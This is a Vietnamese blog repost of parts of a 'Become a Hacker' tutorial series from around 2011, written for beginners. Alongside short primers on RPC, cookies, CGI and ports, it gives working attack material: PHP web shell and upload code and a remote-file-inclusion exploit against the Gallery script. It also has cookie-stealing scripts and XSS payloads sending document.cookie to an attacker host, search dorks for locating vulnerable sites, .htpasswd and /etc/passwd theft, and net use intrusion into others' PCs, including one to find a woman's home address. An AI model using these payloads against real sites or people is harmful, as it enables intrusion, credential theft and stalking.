Friday, 8 July 2011

Become a Hacker 4


Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 4



26 . ) Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.

_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.

27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )

28 . ) Những bước để hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách ***** password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” .

( Tài liệu của HVA và hackervn.net )

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá

powered by

VD sau là để tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau

``/admin hay /advadmin hay /hosting``

ta hãy đánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có đoạn đặc trưng

``cgi-bin/ultimatebb.cgi?``

Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n < xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n`` ; }
echo `` ``;
? >


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .

( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net )


GOODLUCK!!!!!!!!!!!!

( Hết phần 4 )
Anhdenday
HVAonline.net


 

Become a Hacker 3


Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 3



20 . ) Cookie là gì ?

_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.
Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
`)\">


hoặc:

[CODE
img]javascript: Document.write(`&#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\">


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi ***** mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề ***** mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để ***** passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :

CODE
? /*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online :

_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view ”

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

================================================== = =

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .

================================================== = =

Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….

GOOKLUCK!!!!!!!!!

( Hết phần 3 )

 

 

Become a Hacker 2



 

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2



14 . ) Vitual port là gì ?

_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....

Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

